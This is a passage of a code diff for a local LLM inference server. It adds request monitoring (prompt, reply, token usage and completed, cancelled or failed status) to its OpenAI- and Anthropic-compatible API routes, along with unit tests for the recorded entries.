+            api_monitor.fail(monitor_id, _friendly_error(e))
             raise HTTPException(status_code = 500, detail = safe_error_detail(e))
 
 
@@ -5137,6 +5765,19 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
         body["max_tokens"] = llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR
     target_url = f"{llama_backend.base_url}/v1/completions"
     is_stream = body.get("stream", False)
+    raw_prompt = body.get("prompt", "")
+    if isinstance(raw_prompt, list):
+        prompt_text = "\n".join(str(part) for part in raw_prompt)
+    else:
+        prompt_text = str(raw_prompt)
+    monitor_id = api_monitor.start(
+        endpoint = request.url.path,
+        method = request.method,
+        model = str(body.get("model") or llama_backend.model_identifier or "default"),
+        prompt = prompt_text,
+        context_length = llama_backend.context_length,
+        subject = current_subject,
+    )
 
     if is_stream:
 
@@ -5164,10 +5805,12 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
                 first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
                 resp = await _send_stream_with_preheader_cancel(client, req, request = request)
                 if resp is None:
+                    api_monitor.finish(monitor_id, "cancelled")
                     return
                 if resp.status_code != 200:
                     err_bytes = await resp.aread()
                     err_text = err_bytes.decode("utf-8", errors = "replace")
+                    api_monitor.fail(monitor_id, err_text[:500])
                     raise RuntimeError(f"llama-server returned {resp.status_code}: {err_text}")
                 disconnect_watcher = asyncio.create_task(
                     _await_disconnect_then_close(request, resp, disconnect_event)
@@ -5184,26 +5827,49 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
                     buffer += chunk
                     while b"\n\n" in buffer:
                         event, buffer = buffer.split(b"\n\n", 1)
+                        _monitor_openai_sse_event(
+                            monitor_id,
+                            event,
+                            llama_backend.context_length,
+                        )
                         out = _cmpl_stream_event_out(event, _include_usage)
                         if out is not None:
                             yield out + b"\n\n"
                 if not disconnect_event.is_set() and buffer:
+                    _monitor_openai_sse_event(
+                        monitor_id,
+                        buffer,
+                        llama_backend.context_length,
+                    )
                     out = _cmpl_stream_event_out(buffer, _include_usage)
                     if out is not None:
                         # Re-add the SSE separator the split consumed, so a final
                         # event arriving without a trailing blank line is still
                         # terminated for the client's parser.
                         yield out + b"\n\n"
+                if disconnect_event.is_set():
+                    api_monitor.finish(monitor_id, "cancelled")
+                    return
+                api_monitor.finish(monitor_id)
             except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e:
                 if not disconnect_event.is_set():
                     logger.error("openai_completions stream error: %s", e)
+                    api_monitor.fail(monitor_id, _friendly_error(e))
                     error_chunk = _openai_stream_error_chunk(e)
                     yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8")
                     return
+                api_monitor.finish(monitor_id, "cancelled")
+                return
+            except asyncio.CancelledError:
+                disconnect_event.set()
+                api_monitor.finish(monitor_id, "cancelled")
+                raise
             except Exception as e:
                 if disconnect_event.is_set():
+                    api_monitor.finish(monitor_id, "cancelled")
                     return
                 logger.error("openai_completions stream error: %s", e)
+                api_monitor.fail(monitor_id, _friendly_error(e))
                 error_chunk = _openai_stream_error_chunk(e)
                 yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8")
                 return
@@ -5231,15 +5897,28 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
 
         return StreamingResponse(_stream(), media_type = "text/event-stream")
     else:
-        async with httpx.AsyncClient() as client:
-            resp = await client.post(
-                target_url,
-                json = body,
-                timeout = _llama_non_streaming_generation_timeout(),
-            )
+        try:
+            async with httpx.AsyncClient() as client:
+                resp = await client.post(
+                    target_url,
+                    json = body,
+                    timeout = _llama_non_streaming_generation_timeout(),
+                )
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
+        except Exception as e:
+            api_monitor.fail(monitor_id, _friendly_error(e))
+            raise
 
         if resp.status_code != 200:
+            api_monitor.fail(monitor_id, resp.text[:500])
             raise _openai_passthrough_error(resp.status_code, resp.text)
+        try:
+            _monitor_openai_chunk(monitor_id, resp.json(), llama_backend.context_length)
+        except Exception:
+            pass
+        api_monitor.finish(monitor_id)
 
         return Response(
             content = _rewrite_cmpl_id(resp.content),
@@ -5272,9 +5951,43 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get
 
     body = await request.json()
     target_url = f"{llama_backend.base_url}/v1/embeddings"
+    raw_input = body.get("input", "")
+    if isinstance(raw_input, list):
+        prompt_text = "\n".join(str(part) for part in raw_input)
+    else:
+        prompt_text = str(raw_input)
+    monitor_id = None
+    if not getattr(request.state, "skip_api_monitor", False):
+        monitor_id = api_monitor.start(
+            endpoint = request.url.path,
+            method = request.method,
+            model = str(body.get("model") or llama_backend.model_identifier or "default"),
+            prompt = prompt_text,
+            context_length = llama_backend.context_length,
+            subject = current_subject,
+        )
 
-    async with httpx.AsyncClient() as client:
-        resp = await client.post(target_url, json = body, timeout = _DEFAULT_FIRST_TOKEN_TIMEOUT_S)
+    try:
+        async with httpx.AsyncClient() as client:
+            resp = await client.post(
+                target_url,
+                json = body,
+                timeout = _DEFAULT_FIRST_TOKEN_TIMEOUT_S,
+            )
+    except asyncio.CancelledError:
+        api_monitor.finish(monitor_id, "cancelled")
+        raise
+    except Exception as exc:
+        api_monitor.fail(monitor_id, _friendly_error(exc))
+        raise
+    if resp.status_code != 200:
+        api_monitor.fail(monitor_id, resp.text[:500])
+    else:
+        try:
+            _monitor_usage(monitor_id, resp.json().get("usage"), _monitor_context_length())
+        except Exception:
+            pass
+        api_monitor.finish(monitor_id)
     return Response(
         content = resp.content,
         status_code = resp.status_code,
@@ -5788,84 +6501,128 @@ def _chat_tool_calls_to_responses_output(tool_calls: list[dict]) -> list[dict]:
 
 
 async def _responses_non_streaming(
-    payload: ResponsesRequest, messages: list[ChatMessage], request: Request
+    payload: ResponsesRequest,
+    messages: list[ChatMessage],
+    request: Request,
+    current_subject: Optional[str] = None,
 ) -> JSONResponse:
     """Handle a non-streaming Responses API call."""
     chat_req = _build_chat_request(payload, messages, stream = False)
-    result = await openai_chat_completions(chat_req, request)
-
-    # openai_chat_completions returns a JSONResponse for non-streaming.
-    if isinstance(result, JSONResponse):
-        body = json.loads(result.body.decode())
-    elif isinstance(result, Response):
-        body = json.loads(result.body.decode())
-    else:
-        body = result
-
-    choices = body.get("choices", [])
-    text = ""
-    reasoning_text = ""
-    tool_calls: list[dict] = []
-    if choices:
-        msg = choices[0].get("message", {}) or {}
-        raw_content = msg.get("content", "") or ""
-        raw_text = raw_content if isinstance(raw_content, str) else json.dumps(raw_content)
-        llama_backend = get_llama_cpp_backend()
-        reasoning_text, text = _extract_responses_reasoning(
-            raw_text,
-            msg.get("reasoning_content"),
-            parse_think_markers = _responses_should_parse_think_markers(chat_req, llama_backend),
-        )
-        tool_calls = msg.get("tool_calls") or []
-
-    usage_data = body.get("usage", {})
-    input_tokens = usage_data.get("prompt_tokens", 0)
-    output_tokens = usage_data.get("completion_tokens", 0)
-
-    resp_id = f"resp_{uuid.uuid4().hex[:12]}"
-
-    # Responses API emits each tool call as its own top-level output item,
-    # plus an optional assistant text message. Emit the text message only when
-    # the model produced content, so clients expecting a pure tool-call turn
-    # (finish_reason="tool_calls") don't see a spurious empty message item.
-    output_items: list[dict] = []
-    if reasoning_text and not text and not tool_calls:
-        text = reasoning_text
-    if reasoning_text:
-        output_items.append(_responses_reasoning_output_item(reasoning_text))
-    if text:
-        msg_id = f"msg_{uuid.uuid4().hex[:12]}"
-        output_items.append(
-            ResponsesOutputMessage(
-                id = msg_id,
-                status = "completed",
-                role = "assistant",
-                content = [ResponsesOutputTextContent(text = text)],
-            ).model_dump()
-        )
-    output_items.extend(_chat_tool_calls_to_responses_output(tool_calls))
-
-    response = ResponsesResponse(
-        id = resp_id,
-        created_at = int(time.time()),
-        status = "completed",
-        model = body.get("model", payload.model),
-        output = output_items,
-        usage = ResponsesUsage(
-            input_tokens = input_tokens,
-            output_tokens = output_tokens,
-            total_tokens = input_tokens + output_tokens,
-        ),
-        temperature = payload.temperature,
-        top_p = payload.top_p,
-        max_output_tokens = payload.max_output_tokens,
-        instructions = payload.instructions,
+    request_state = getattr(request, "state", None)
+    if request_state is None:
+        request_state = type("_RequestState", (), {})()
+        try:
+            setattr(request, "state", request_state)
+        except Exception:
+            request_state = None
+    previous_skip_monitor = (
+        bool(getattr(request_state, "skip_api_monitor", False))
+        if request_state is not None
+        else False
     )
-    return JSONResponse(content = response.model_dump())
+    monitor_id = None
+    if not previous_skip_monitor:
+        monitor_id = api_monitor.start(
+            endpoint = getattr(getattr(request, "url", None), "path", "/v1/responses"),
+            method = getattr(request, "method", "POST"),
+            model = payload.model,
+            prompt = _monitor_prompt_from_messages(messages),
+            context_length = _monitor_context_length(),
+            subject = current_subject,
+        )
+    if request_state is not None:
+        request_state.skip_api_monitor = True
+
+    try:
+        result = await openai_chat_completions(chat_req, request)
+
+        # openai_chat_completions returns a JSONResponse for non-streaming.
+        if isinstance(result, JSONResponse):
+            body = json.loads(result.body.decode())
+        elif isinstance(result, Response):
+            body = json.loads(result.body.decode())
+        else:
+            body = result
+
+        choices = body.get("choices", [])
+        text = ""
+        reasoning_text = ""
+        tool_calls: list[dict] = []
+        if choices:
+            msg = choices[0].get("message", {}) or {}
+            raw_content = msg.get("content", "") or ""
+            raw_text = raw_content if isinstance(raw_content, str) else json.dumps(raw_content)
+            llama_backend = get_llama_cpp_backend()
+            reasoning_text, text = _extract_responses_reasoning(
+                raw_text,
+                msg.get("reasoning_content"),
+                parse_think_markers = _responses_should_parse_think_markers(chat_req, llama_backend),
+            )
+            tool_calls = msg.get("tool_calls") or []
+
+        usage_data = body.get("usage", {})
+        input_tokens = usage_data.get("prompt_tokens", 0)
+        output_tokens = usage_data.get("completion_tokens", 0)
+
+        resp_id = f"resp_{uuid.uuid4().hex[:12]}"
+
+        # Responses API emits each tool call as its own top-level output item,
+        # plus an optional assistant text message. Emit the text message only when
+        # the model produced content, so clients expecting a pure tool-call turn
+        # (finish_reason="tool_calls") don't see a spurious empty message item.
+        output_items: list[dict] = []
+        if reasoning_text and not text and not tool_calls:
+            text = reasoning_text
+        if reasoning_text:
+            output_items.append(_responses_reasoning_output_item(reasoning_text))
+        if text:
+            msg_id = f"msg_{uuid.uuid4().hex[:12]}"
+            output_items.append(
+                ResponsesOutputMessage(
+                    id = msg_id,
+                    status = "completed",
+                    role = "assistant",
+                    content = [ResponsesOutputTextContent(text = text)],
+                ).model_dump()
+            )
+        output_items.extend(_chat_tool_calls_to_responses_output(tool_calls))
+
+        response = ResponsesResponse(
+            id = resp_id,
+            created_at = int(time.time()),
+            status = "completed",
+            model = body.get("model", payload.model),
+            output = output_items,
+            usage = ResponsesUsage(
+                input_tokens = input_tokens,
+                output_tokens = output_tokens,
+                total_tokens = input_tokens + output_tokens,
+            ),
+            temperature = payload.temperature,
+            top_p = payload.top_p,
+            max_output_tokens = payload.max_output_tokens,
+            instructions = payload.instructions,
+        )
+        api_monitor.set_reply(monitor_id, text or _monitor_tool_calls_text(tool_calls))
+        _monitor_usage(monitor_id, usage_data, _monitor_context_length())
+        api_monitor.finish(monitor_id)
+        return JSONResponse(content = response.model_dump())
+    except asyncio.CancelledError:
+        api_monitor.finish(monitor_id, "cancelled")
+        raise
+    except Exception as exc:
+        api_monitor.fail(monitor_id, _friendly_error(exc))
+        raise
+    finally:
+        if request_state is not None:
+            request_state.skip_api_monitor = previous_skip_monitor
 
 
 async def _responses_stream(
-    payload: ResponsesRequest, messages: list[ChatMessage], request: Request
+    payload: ResponsesRequest,
+    messages: list[ChatMessage],
+    request: Request,
+    monitor_id: Optional[str] = None,
 ):
     """Handle a streaming Responses API call, emitting named SSE events.
 
@@ -6130,9 +6887,11 @@ async def _responses_stream(
             try:
                 resp = await _send_stream_with_preheader_cancel(client, req, request = request)
                 if resp is None:
+                    api_monitor.finish(monitor_id, "cancelled")
                     return
             except httpx.RequestError as e:
                 logger.error("responses stream: upstream unreachable: %s", e)
+                api_monitor.fail(monitor_id, _friendly_error(e))
                 yield _sse(
                     "response.failed",
                     {
@@ -6158,6 +6917,7 @@ async def _responses_stream(
                     resp.status_code,
                     err_text[:500],
                 )
+                api_monitor.fail(monitor_id, err_text[:500])
                 yield _sse(
                     "response.failed",
                     {
@@ -6209,6 +6969,11 @@ async def _responses_stream(
                     if usage:
                         input_tokens = usage.get("prompt_tokens", input_tokens)
                         output_tokens = usage.get("completion_tokens", output_tokens)
+                        _monitor_usage(
+                            monitor_id,
+                            usage,
+                            llama_backend.context_length,
+                        )
                     continue
 
                 delta = choices[0].get("delta", {}) or {}
@@ -6234,6 +6999,7 @@ async def _responses_stream(
                     for event in _ensure_message_open():
                         yield event
                     full_text += visible_delta
+                    api_monitor.append_reply(monitor_id, visible_delta)
                     yield _sse(
                         "response.output_text.delta",
                         {
@@ -6305,9 +7071,18 @@ async def _responses_stream(
                 if usage:
                     input_tokens = usage.get("prompt_tokens", input_tokens)
                     output_tokens = usage.get("completion_tokens", output_tokens)
+                    _monitor_usage(
+                        monitor_id,
+                        usage,
+                        llama_backend.context_length,
+                    )
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
         except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e:
             if not disconnect_event.is_set():
                 logger.error("responses stream error: %s", e)
+                api_monitor.fail(monitor_id, _friendly_error(e))
                 status_code = 400 if _classify_llama_generation_error(e) is not None else 500
                 yield _sse(
                     "response.failed",
@@ -6316,8 +7091,10 @@ async def _responses_stream(
                 return
         except Exception as e:
             if disconnect_event.is_set():
+                api_monitor.finish(monitor_id, "cancelled")
                 return
             logger.error("responses stream error: %s", e)
+            api_monitor.fail(monitor_id, _friendly_error(e))
             status_code = 400 if _classify_llama_generation_error(e) is not None else 500
             yield _sse(
                 "response.failed",
@@ -6347,6 +7124,7 @@ async def _responses_stream(
                 pass
 
         if disconnect_event.is_set():
+            api_monitor.finish(monitor_id, "cancelled")
             return
 
         final_reasoning, final_visible = extractor.finish()
@@ -6368,6 +7146,7 @@ async def _responses_stream(
             for event in _ensure_message_open():
                 yield event
             full_text += final_visible
+            api_monitor.append_reply(monitor_id, final_visible)
             yield _sse(
                 "response.output_text.delta",
                 {
@@ -6382,6 +7161,7 @@ async def _responses_stream(
             for event in _ensure_message_open():
                 yield event
             full_text = full_reasoning
+            api_monitor.set_reply(monitor_id, full_text)
             yield _sse(
                 "response.output_text.delta",
                 {
@@ -6528,6 +7308,7 @@ async def _responses_stream(
                     "arguments": st["arguments"],
                 },
             }
+            api_monitor.append_reply(monitor_id, _monitor_call_text(st["name"], st["arguments"]))
             yield _sse("response.output_item.done", item_done)
 
         # response.completed
@@ -6548,6 +7329,7 @@ async def _responses_stream(
                 },
             },
         }
+        api_monitor.finish(monitor_id)
         yield _sse("response.completed", completed_response)
 
     return StreamingResponse(
@@ -6579,8 +7361,28 @@ async def openai_responses(
         raise HTTPException(status_code = 400, detail = "No input provided.")
 
     if payload.stream:
-        return await _responses_stream(payload, messages, request)
-    return await _responses_non_streaming(payload, messages, request)
+        monitor_id = None
+        if not getattr(request.state, "skip_api_monitor", False):
+            monitor_id = api_monitor.start(
+                endpoint = request.url.path,
+                method = request.method,
+                model = payload.model,
+                prompt = _monitor_prompt_from_messages(messages),
+                context_length = _monitor_context_length(),
+                subject = current_subject,
+            )
+        try:
+            return await _responses_stream(payload, messages, request, monitor_id)
+        except HTTPException as exc:
+            detail = exc.detail
+            if not isinstance(detail, str):
+                detail = json.dumps(detail, default = str)
+            api_monitor.fail(monitor_id, detail)
+            raise
+        except Exception as exc:
+            api_monitor.fail(monitor_id, _friendly_error(exc))
+            raise
+    return await _responses_non_streaming(payload, messages, request, current_subject)
 
 
 # =====================================================================
@@ -6900,14 +7702,67 @@ async def anthropic_messages(
         and payload.tool_choice.get("disable_parallel_tool_use")
     )
 
+    monitor_id = None
+    monitor_context_length = _monitor_context_length()
+    request_state = getattr(request, "state", None)
+    if not getattr(request_state, "skip_api_monitor", False):
+        request_url = getattr(request, "url", None)
+        monitor_id = api_monitor.start(
+            endpoint = getattr(request_url, "path", "/v1/messages"),
+            method = getattr(request, "method", "POST"),
+            model = model_name,
+            prompt = _monitor_prompt_from_messages(openai_messages),
+            context_length = monitor_context_length,
+            subject = current_subject,
+        )
+
+    async def _monitored_anthropic(coro):
+        try:
+            response = await coro
+        except asyncio.CancelledError:
+            cancel_event.set()
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
+        except Exception as exc:
+            api_monitor.fail(monitor_id, _friendly_error(exc))
+            raise
+        return _monitor_anthropic_response(
+            response,
+            monitor_id,
+            monitor_context_length,
+            cancel_event,
+        )
+
     # ── Client-side pass-through path ─────────────────────────
     if client_tools:
         openai_tools = openai_client_tools
 
         if payload.stream:
-            return await _anthropic_passthrough_stream(
-                request,
-                cancel_event,
+            return await _monitored_anthropic(
+                _anthropic_passthrough_stream(
+                    request,
+                    cancel_event,
+                    llama_backend,
+                    openai_messages,
+                    openai_tools,
+                    temperature,
+                    top_p,
+                    top_k,
+                    payload.max_tokens,
+                    message_id,
+                    model_name,
+                    stop = stop,
+                    min_p = min_p,
+                    repetition_penalty = repetition_penalty,
+                    presence_penalty = presence_penalty,
+                    tool_choice = openai_tool_choice,
+                    session_id = payload.session_id,
+                    cancel_id = payload.cancel_id,
+                    disable_parallel_tool_use = _disable_parallel,
+                )
+            )
+        return await _monitored_anthropic(
+            _anthropic_passthrough_non_streaming(
                 llama_backend,
                 openai_messages,
                 openai_tools,
@@ -6922,26 +7777,8 @@ async def anthropic_messages(
                 repetition_penalty = repetition_penalty,
                 presence_penalty = presence_penalty,
                 tool_choice = openai_tool_choice,
-                session_id = payload.session_id,
-                cancel_id = payload.cancel_id,
                 disable_parallel_tool_use = _disable_parallel,
             )
-        return await _anthropic_passthrough_non_streaming(
-            llama_backend,
-            openai_messages,
-            openai_tools,
-            temperature,
-            top_p,
-            top_k,
-            payload.max_tokens,
-            message_id,
-            model_name,
-            stop = stop,
-            min_p = min_p,
-            repetition_penalty = repetition_penalty,
-            presence_penalty = presence_penalty,
-            tool_choice = openai_tool_choice,
-            disable_parallel_tool_use = _disable_parallel,
         )
 
     if server_tools:
@@ -6949,6 +7786,10 @@ async def anthropic_messages(
         if bool(getattr(payload, "confirm_tool_calls", False)) and not bool(
             getattr(payload, "bypass_permissions", False)
         ):
+            api_monitor.fail(
+                monitor_id,
+                "confirm_tool_calls is not supported for Anthropic Messages server tools.",
+            )
             raise HTTPException(
                 status_code = 400,
                 detail = anthropic_error_body(
@@ -7009,22 +7850,26 @@ async def anthropic_messages(
             )
 
         if payload.stream:
-            return await _anthropic_tool_stream(
-                request,
-                cancel_event,
+            return await _monitored_anthropic(
+                _anthropic_tool_stream(
+                    request,
+                    cancel_event,
+                    _run_tool_gen,
+                    message_id,
+                    model_name,
+                    llama_backend = llama_backend,
+                    openai_messages = openai_messages,
+                    openai_tools = openai_tools,
+                    disable_parallel_tool_use = _disable_parallel,
+                )
+            )
+        return await _monitored_anthropic(
+            _anthropic_tool_non_streaming(
                 _run_tool_gen,
                 message_id,
                 model_name,
-                llama_backend = llama_backend,
-                openai_messages = openai_messages,
-                openai_tools = openai_tools,
                 disable_parallel_tool_use = _disable_parallel,
             )
-        return await _anthropic_tool_non_streaming(
-            _run_tool_gen,
-            message_id,
-            model_name,
-            disable_parallel_tool_use = _disable_parallel,
         )
 
     # ── No-tool path ──────────────────────────────────────────
@@ -7043,19 +7888,23 @@ async def anthropic_messages(
         )
 
     if payload.stream:
-        return await _anthropic_plain_stream(
-            request,
-            cancel_event,
+        return await _monitored_anthropic(
+            _anthropic_plain_stream(
+                request,
+                cancel_event,
+                _run_plain_gen,
+                message_id,
+                model_name,
+                llama_backend = llama_backend,
+                openai_messages = openai_messages,
+            )
+        )
+    return await _monitored_anthropic(
+        _anthropic_plain_non_streaming(
             _run_plain_gen,
             message_id,
             model_name,
-            llama_backend = llama_backend,
-            openai_messages = openai_messages,
         )
-    return await _anthropic_plain_non_streaming(
-        _run_plain_gen,
-        message_id,
-        model_name,
     )
 
 
@@ -8106,7 +8955,13 @@ def _build_openai_passthrough_body(
 
 
 async def _openai_passthrough_stream(
-    request, cancel_event, llama_backend, payload, model_name, completion_id
+    request,
+    cancel_event,
+    llama_backend,
+    payload,
+    model_name,
+    completion_id,
+    monitor_id: Optional[str] = None,
 ):
     """Streaming client-side pass-through for /v1/chat/completions.
 
@@ -8150,6 +9005,7 @@ async def _openai_passthrough_stream(
             except httpx.RequestError as e:
                 # llama-server subprocess crashed / starting / unreachable.
                 logger.error("openai passthrough stream: upstream unreachable: %s", e)
+                api_monitor.fail(monitor_id, _friendly_error(e))
                 if resp is not None:
                     try:
                         await resp.aclose()
@@ -8164,6 +9020,7 @@ async def _openai_passthrough_stream(
                     detail = _friendly_error(e),
                 )
             if resp is None:
+                api_monitor.finish(monitor_id, "cancelled")
                 try:
                     await client.aclose()
                 except Exception:
@@ -8205,6 +9062,7 @@ async def _openai_passthrough_stream(
                 await client.aclose()
             except Exception:
                 pass
+            api_monitor.fail(monitor_id, err_text[:500])
             raise _openai_passthrough_error(upstream_status, err_text)
 
         async def _stream():
@@ -8218,6 +9076,7 @@ async def _openai_passthrough_stream(
             disconnect_watcher = asyncio.create_task(
                 _await_disconnect_then_close(request, resp, cancel_event)
             )
+            monitor_done = False
             try:
                 lines_iter = resp.aiter_lines()
                 async for raw_line in _aiter_llama_stream_items(
@@ -8237,21 +9096,39 @@ async def _openai_passthrough_stream(
                     # relayed byte-for-byte.
                     if payload.parallel_tool_calls is False and '"tool_calls"' in raw_line:
                         raw_line = _cap_parallel_tool_calls_sse_line(raw_line)
+                    monitor_event = _monitor_openai_sse_line(
+                        monitor_id,
+                        raw_line,
+                        llama_backend.context_length,
+                    )
                     # Relay verbatim to preserve llama-server's native id,
                     # finish_reason, delta.tool_calls, and usage chunks.
                     yield raw_line + "\n\n"
-                    if raw_line[6:].strip() == "[DONE]":
+                    if monitor_event == "done" or raw_line[6:].strip() == "[DONE]":
+                        monitor_done = True
                         break
+                if not monitor_done:
+                    api_monitor.finish(
+                        monitor_id,
+                        "cancelled" if cancel_event.is_set() else "completed",
+                    )
+            except asyncio.CancelledError:
+                api_monitor.finish(monitor_id, "cancelled")
+                raise
             except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError):
                 # Watcher closed resp on cancel. Emit nothing extra; the client
                 # initiated the cancel or already disconnected.
                 if not cancel_event.is_set():
+                    api_monitor.fail(monitor_id, "Stream interrupted")
                     raise
+                api_monitor.finish(monitor_id, "cancelled")
             except Exception as e:
                 if cancel_event.is_set():
+                    api_monitor.finish(monitor_id, "cancelled")
                     return
                 # 200 headers already flushed; errors must go in the SSE body.
                 logger.error("openai passthrough stream error: %s", e)
+                api_monitor.fail(monitor_id, _friendly_error(e))
                 err = _openai_stream_error_chunk(e)
                 yield f"data: {json.dumps(err)}\n\n"
             finally:
@@ -8294,7 +9171,12 @@ async def _openai_passthrough_stream(
         raise
 
 
-async def _openai_passthrough_non_streaming(llama_backend, payload, model_name):
+async def _openai_passthrough_non_streaming(
+    llama_backend,
+    payload,
+    model_name,
+    monitor_id: Optional[str] = None,
+):
     """Non-streaming client-side pass-through for /v1/chat/completions.
 
     Returns llama-server's JSON response verbatim so the client sees the native
@@ -8317,11 +9199,15 @@ async def _openai_passthrough_non_streaming(llama_backend, payload, model_name):
                     json = body,
                     timeout = _llama_non_streaming_generation_timeout(),
                 )
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
         except httpx.RequestError as e:
             # llama-server subprocess crashed / starting / unreachable. Surface the
             # same friendly message the sync chat path emits so operators don't see
             # a bare 500 with no diagnostic.
             logger.error("openai passthrough non-streaming: upstream unreachable: %s", e)
+            api_monitor.fail(monitor_id, _friendly_error(e))
             raise HTTPException(
                 status_code = 502,
                 detail = _friendly_error(e),
@@ -8337,6 +9223,7 @@ async def _openai_passthrough_non_streaming(llama_backend, payload, model_name):
         ):
             _truncate_budget -= 1
             continue
+        api_monitor.fail(monitor_id, resp.text[:500])
         raise _openai_passthrough_error(resp.status_code, resp.text)
 
     # The guided-decoding fence wraps each choice's JSON content in a
@@ -8357,6 +9244,7 @@ async def _openai_passthrough_non_streaming(llama_backend, payload, model_name):
             "openai passthrough non-streaming: response not JSON, relaying raw: %s",
             exc,
         )
+        api_monitor.finish(monitor_id)
         return Response(content = resp.content, media_type = "application/json")
 
     changed = False
@@ -8394,5 +9282,9 @@ async def _openai_passthrough_non_streaming(llama_backend, payload, model_name):
     # Nothing mutated: relay the upstream bytes verbatim, skipping a redundant
     # parse + re-serialize round-trip.
     if not changed:
+        _monitor_openai_chunk(monitor_id, data, llama_backend.context_length)
+        api_monitor.finish(monitor_id)
         return Response(content = resp.content, media_type = "application/json")
+    _monitor_openai_chunk(monitor_id, data, llama_backend.context_length)
+    api_monitor.finish(monitor_id)
     return JSONResponse(content = data)
diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py
index 0ed8de5532..92a87ce045 100644
--- a/studio/backend/tests/test_anthropic_messages.py
+++ b/studio/backend/tests/test_anthropic_messages.py
@@ -33,6 +33,7 @@ from core.inference.anthropic_compat import (
     AnthropicStreamEmitter,
     AnthropicPassthroughEmitter,
 )
+from core.inference.api_monitor import ApiMonitor
 from routes.inference import (
     _build_tool_action_nudge,
     _normalize_anthropic_openai_images,
@@ -40,6 +41,7 @@ from routes.inference import (
     _anthropic_requested_studio_tools,
     _anthropic_passthrough_stream,
     _anthropic_tool_non_streaming,
+    _monitor_anthropic_sse_line,
     anthropic_messages,
 )
 from state.tool_policy import reset_tool_policy, set_tool_policy
@@ -50,6 +52,46 @@ from io import BytesIO as _BytesIO
 from types import SimpleNamespace
 
 
+def test_streamed_anthropic_tool_use_records_api_monitor_reply(monkeypatch):
+    import routes.inference as inf_mod
+
+    monitor = ApiMonitor(max_entries = 3)
+    monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+    monitor_id = monitor.start(
+        endpoint = "/v1/messages",
+        method = "POST",
+        model = "m",
+        prompt = "hi",
+    )
+
+    for payload in (
+        {
+            "type": "content_block_start",
+            "index": 0,
+            "content_block": {
+                "type": "tool_use",
+                "id": "toolu_1",
+                "name": "lookup",
+                "input": {},
+            },
+        },
+        {
+            "type": "content_block_delta",
+            "index": 0,
+            "delta": {
+                "type": "input_json_delta",
+                "partial_json": '{"query":"weather"}',
+            },
+        },
+        {"type": "content_block_stop", "index": 0},
+    ):
+        _monitor_anthropic_sse_line(monitor_id, f"data: {json.dumps(payload)}")
+
+    entry = monitor.get(monitor_id)
+    assert entry is not None
+    assert entry["reply"] == 'Tool call: lookup\nInput: {"query":"weather"}'
+
+
 # =====================================================================
 # Tool nudge tests
 # =====================================================================
@@ -1385,7 +1427,7 @@ def _mock_backend(monkeypatch, **overrides):
 
     def _gen_plain(**kwargs):
         calls.append(("plain", kwargs))
-        yield {"type": "content", "text": "ok"}
+        yield "ok"
 
     def _gen_tools(**kwargs):
         calls.append(("tools", kwargs))
@@ -1396,6 +1438,8 @@ def _mock_backend(monkeypatch, **overrides):
         is_vision = False,
         supports_tools = True,
         model_identifier = "test-model",
+        context_length = 4096,
+        count_chat_tokens = lambda *args, **kwargs: 2,
         generate_chat_completion = _gen_plain,
         generate_chat_completion_with_tools = _gen_tools,
         calls = calls,
@@ -1426,6 +1470,112 @@ def _reset_policy():
 
 
 class TestAnthropicMessagesToolRouting:
+    class _Request:
+        state = SimpleNamespace()
+        url = SimpleNamespace(path = "/v1/messages")
+        method = "POST"
+
+        async def is_disconnected(self):
+            return False
+
+    @staticmethod
+    def _consume_response(response):
+        async def _consume():
+            chunks = []
+            async for chunk in response.body_iterator:
+                chunks.append(chunk)
+            return chunks
+
+        return _drive(_consume())
+
+    def test_plain_non_streaming_records_api_monitor_entry(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        _mock_backend(monkeypatch, context_length = 2048)
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        payload = _basic_payload()
+
+        response = _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t"))
+
+        assert response.status_code == 200
+        [entry] = monitor.snapshot()
+        assert entry["endpoint"] == "/v1/messages"
+        assert entry["status"] == "completed"
+        assert entry["model"] == "test-model"
+        assert entry["prompt_preview"] == "user: hi"
+        assert entry["reply_preview"] == "ok"
+        assert entry["context_length"] == 2048
+        assert monitor.active_count() == 0
+
+    def test_tool_use_non_streaming_records_api_monitor_reply(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        def _gen_tools(**_kwargs):
+            yield {
+                "type": "tool_start",
+                "tool_call_id": "call_1",
+                "tool_name": "lookup",
+                "arguments": {"query": "weather"},
+            }
+
+        _mock_backend(
+            monkeypatch,
+            context_length = 2048,
+            generate_chat_completion_with_tools = _gen_tools,
+        )
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        payload = _basic_payload(
+            enable_tools = True,
+            tools = [{"type": "web_search_20250305", "name": "web_search"}],
+        )
+
+        response = _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t"))
+
+        assert response.status_code == 200
+        [entry] = monitor.snapshot()
+        assert entry["status"] == "completed"
+        assert entry["reply_preview"] == 'Tool call: lookup({"query": "weather"})'
+
+    def test_plain_streaming_records_active_and_completed_monitor_entry(self, monkeypatch):
+        import routes.inference as inf_mod
+
+        _mock_backend(monkeypatch, context_length = 2048)
+        monitor = ApiMonitor(max_entries = 3)
+        monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+        payload = _basic_payload(stream = True)
+
